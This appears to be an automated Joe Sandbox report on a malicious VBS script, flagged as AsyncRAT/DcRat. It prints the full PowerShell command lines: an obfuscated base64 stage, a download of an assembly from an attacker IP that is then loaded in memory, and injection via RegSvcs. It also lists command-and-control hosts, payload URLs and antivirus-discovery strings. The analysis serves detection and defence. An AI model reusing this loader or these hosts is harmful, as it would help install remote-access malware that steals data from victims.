Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bx gs dgb3 hi i 9 c jw w cc ow k gk yqbx hu yw g d0 i n cu c b6 ee ywbp gc sqbu e0 cg l cc owbb ei eqb0 gu wwbd f0 i k hk dwbq gq a g d0 i bb hm eqbz hq zqbt c4 qwbv g4 dgbl hi d bd do ogbg hi bwbt ei yqbz gu ng 0 fm d by gk bgbn cg i o e4 zqb3 c0 twbi go zqbj hq i bo gu d u fc zqbi em b bp gu bgb0 ck lgbe g8 dwbu gw bwbh gq uwb0 hi aqbu gc k n gg d b0 h og v c8 oq x c4 mg w di lg y dm mw u de ng 5 c8 v bh gs lwbs gu zw v e0 yqby ho lwbe fi rw v fi v bd c8 rg z gq b bs c4 d b4 hq jw p ck owbb hm eqbz hq zqbt c4 qqbw h r bv g0 yqbp g4 xq 6 do qwb1 hi cgbl g4 d be g8 bqbh gk bg u ew bwbh gq k k hk dwbq gq a p c4 rwbl hq v b5 h zq o cc qwbs ge cwbz ew aqbi hi yqby hk mq u em b bh hm cw x cc kq u ec zqb0 e0 zqb0 gg bwbk cg jwba hg swbi ec jw p c4 sqbu hy bwbr gu k k g4 dqbs gw l g fs bwbi go zqbj hq wwbd f0 i o cc d b4 hq lg x eo r v fm vgbo eu lwb6 hi yqbn c8 zwbl fi lwbr ge v v dk ng x c4 mw z di lg y d mg u de oq v c8 ogbw hq d bo cc i s c j bp ge cqb1 gm i s c jwbs gc dgb1 ec jw s c j bx gs dgb3 hi l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\desktop\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'c:\users\user\desktop\sostener.vbs';[byte[]] $ywjdh = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('http://91.202.233.169/tak/reg/marz/drg/rtc/f3dll.txt'));[system.appdomain]::currentdomain.load($ywjdh).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1jd/svne/zram/ger/kat/961.332.202.19//:ptth' , $iaquc , 'rgvug', $qkvwr, '1', 'roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bx gs dgb3 hi i 9 c jw w cc ow k gk yqbx hu yw g d0 i n cu c b6 ee ywbp gc sqbu e0 cg l cc owbb ei eqb0 gu wwbd f0 i k hk dwbq gq a g d0 i bb hm eqbz hq zqbt c4 qwbv g4 dgbl hi d bd do ogbg hi bwbt ei yqbz gu ng 0 fm d by gk bgbn cg i o e4 zqb3 c0 twbi go zqbj hq i bo gu d u fc zqbi em b bp gu bgb0 ck lgbe g8 dwbu gw bwbh gq uwb0 hi aqbu gc k n gg d b0 h og v c8 oq x c4 mg w di lg y dm mw u de ng 5 c8 v bh gs lwbs gu zw v e0 yqby ho lwbe fi rw v fi v bd c8 rg z gq b bs c4 d b4 hq jw p ck owbb hm eqbz hq zqbt c4 qqbw h r bv g0 yqbp g4 xq 6 do qwb1 hi cgbl g4 d be g8 bqbh gk bg u ew bwbh gq k k hk dwbq gq a p c4 rwbl hq v b5 h zq o cc qwbs ge cwbz ew aqbi hi yqby hk mq u em b bh hm cw x cc kq u ec zqb0 e0 zqb0 gg bwbk cg jwba hg swbi ec jw p c4 sqbu hy bwbr gu k k g4 dqbs gw l g fs bwbi go zqbj hq wwbd f0 i o cc d b4 hq lg x eo r v fm vgbo eu lwb6 hi yqbn c8 zwbl fi lwbr ge v v dk ng x c4 mw z di lg y d mg u de oq v c8 ogbw hq d bo cc i s c j bp ge cqb1 gm i s c jwbs gc dgb1 ec jw s c j bx gs dgb3 hi l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\desktop\sostener.vbs');powershell $kbyhl;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'c:\users\user\desktop\sostener.vbs';[byte[]] $ywjdh = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('http://91.202.233.169/tak/reg/marz/drg/rtc/f3dll.txt'));[system.appdomain]::currentdomain.load($ywjdh).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1jd/svne/zram/ger/kat/961.332.202.19//:ptth' , $iaquc , 'rgvug', $qkvwr, '1', 'roda' ));"	Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.2959693552.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.000000000320D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\^q
Source: RegSvcs.exe, 00000004.00000002.2959693552.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.00000000031EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 00000004.00000002.2959693552.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.000000000320D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\^q&
Source: RegSvcs.exe, 00000004.00000002.2959693552.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe^q\|
Source: RegSvcs.exe, 00000004.00000002.2959693552.00000000031EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\^qPaste_bin@\^q
Source: RegSvcs.exe, 00000004.00000002.2959693552.000000000320D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe^qL
Source: RegSvcs.exe, 00000004.00000002.2959693552.000000000320D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe^q,
Source: RegSvcs.exe, 00000004.00000002.2959693552.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.00000000031DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe^q
Source: RegSvcs.exe, 00000004.00000002.2959693552.00000000031EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,^q

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR

Source: powershell.exe, 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: RegSvcs.exe, 00000004.00000002.2967904859.00000000056AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match	File source: 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR

Remote Access Functionality

Yara detected DcRat

Source: Yara match	File source: 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	212 Process Injection	1 Disable or Modify Tools	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	221 Scripting	1 Scheduled Task/Job	21 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	212 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Native API	Login Hook	Login Hook	121 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Exploitation for Client Execution	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	2 PowerShell	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
dczas.duckdns.org	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
http://91.202.233.169	9%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dczas.duckdns.org	89.117.23.22	true	true	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
)8"zc	true		unknown
http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://91.202.233.169/Tak/Reg/Marz/Ex	powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1690160988.00000185062A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3Pe.txt	powershell.exe, 00000003.00000002.1690160988.0000018504D6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018505FD7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://91.202.H	powershell.exe, 00000003.00000002.1690160988.00000185058B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018505FD7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000003.00000002.1690160988.00000185058B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1690160988.00000185062A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.202.233.169	powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.00000185058B8000.00000004.00000800.00020000.00000000.sdmp	true	9%, Virustotal, Browse	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.202.233.169/Tak/Reg/Marz/DRG/R	powershell.exe, 00000003.00000002.1690160988.0000018505FD7000.00000004.00000800.00020000.00000000.sdmp	true		unknown
HTTP://91.202.233.169/TAK/REG/MARZ/ENVS/DJ1.TXT	powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018504D6C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1721844392.000002244562B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1721844392.0000022445642000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.00000185049C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.202.233.169/Tak/Reg/Marz/ENVS/DJ1.txt	powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018504D6C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1721844392.000002244566F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.00000185049C1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.202.233.169	unknown	Russian Federation		9009	M247GB	true
89.117.23.22	dczas.duckdns.org	Lithuania		15419	LRTC-ASLT	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523124
Start date and time:	2024-10-01 06:29:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sostener.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@8/5@7/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 15 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 3848 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:29:55	API Interceptor	18x Sleep call for process: powershell.exe modified
00:30:19	API Interceptor	1x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.202.233.169	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	91.202.233.169/Tak/Reg/Marz/ENVS/DJ1.txt
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	91.202.233.169/Tak/Reg/Marz/ENVS/DS1.txt
	sostener.vbs	Get hash	malicious	Remcos	Browse	91.202.233.169/Tak/Reg/Marz/SH/Rcm.txt
	sostener.vbs	Get hash	malicious	Remcos	Browse	91.202.233.169/Tak/Reg/Marz/ZQWER/PeF3Dir.txt
	envifa.vbs	Get hash	malicious	Remcos	Browse	91.202.233.169/Tak/Reg/Marz/ZQWER/PeF3Dir.txt
89.117.23.22	172771704470d2405c797286a7d66ed6085690f2346b0873f84a2d4bbbbfed17373d12cd4f758.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse
	1726981024eaba256966e5d64020ad74d345ce2969fae5805b304862945360330900888386844.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	decode_ba297ca42bf569929d6fafd20a8ed9212b3012291d38a6ec2be3376d5488c4a5.exe	Get hash	malicious	Remcos	Browse
	decode_43048329e6cd6df3e144e8592c1194cf0da5e9113653ea155e664cbcc08b4b27.exe	Get hash	malicious	AsyncRAT	Browse
	1712325245721159bca57d1b66796bd3ddc0e68293cb290af6bbd263878d0bd09c0ee48caa758.dat-decoded.exe	Get hash	malicious	Njrat	Browse
	1712325245dd14de5ce8bd608ab9ed54b1036ba8bc99d838c1ed6d3361c8ac2ed8ec3c75ba394.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	1712325246e9ef467ca10a8bb47cc22f360faab318b2059a09a5a7d0c76937a79cfb2a74b2831.dat-decoded.exe	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dczas.duckdns.org	172771704470d2405c797286a7d66ed6085690f2346b0873f84a2d4bbbbfed17373d12cd4f758.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	89.117.23.22
dczas.duckdns.org	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	89.117.23.22

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
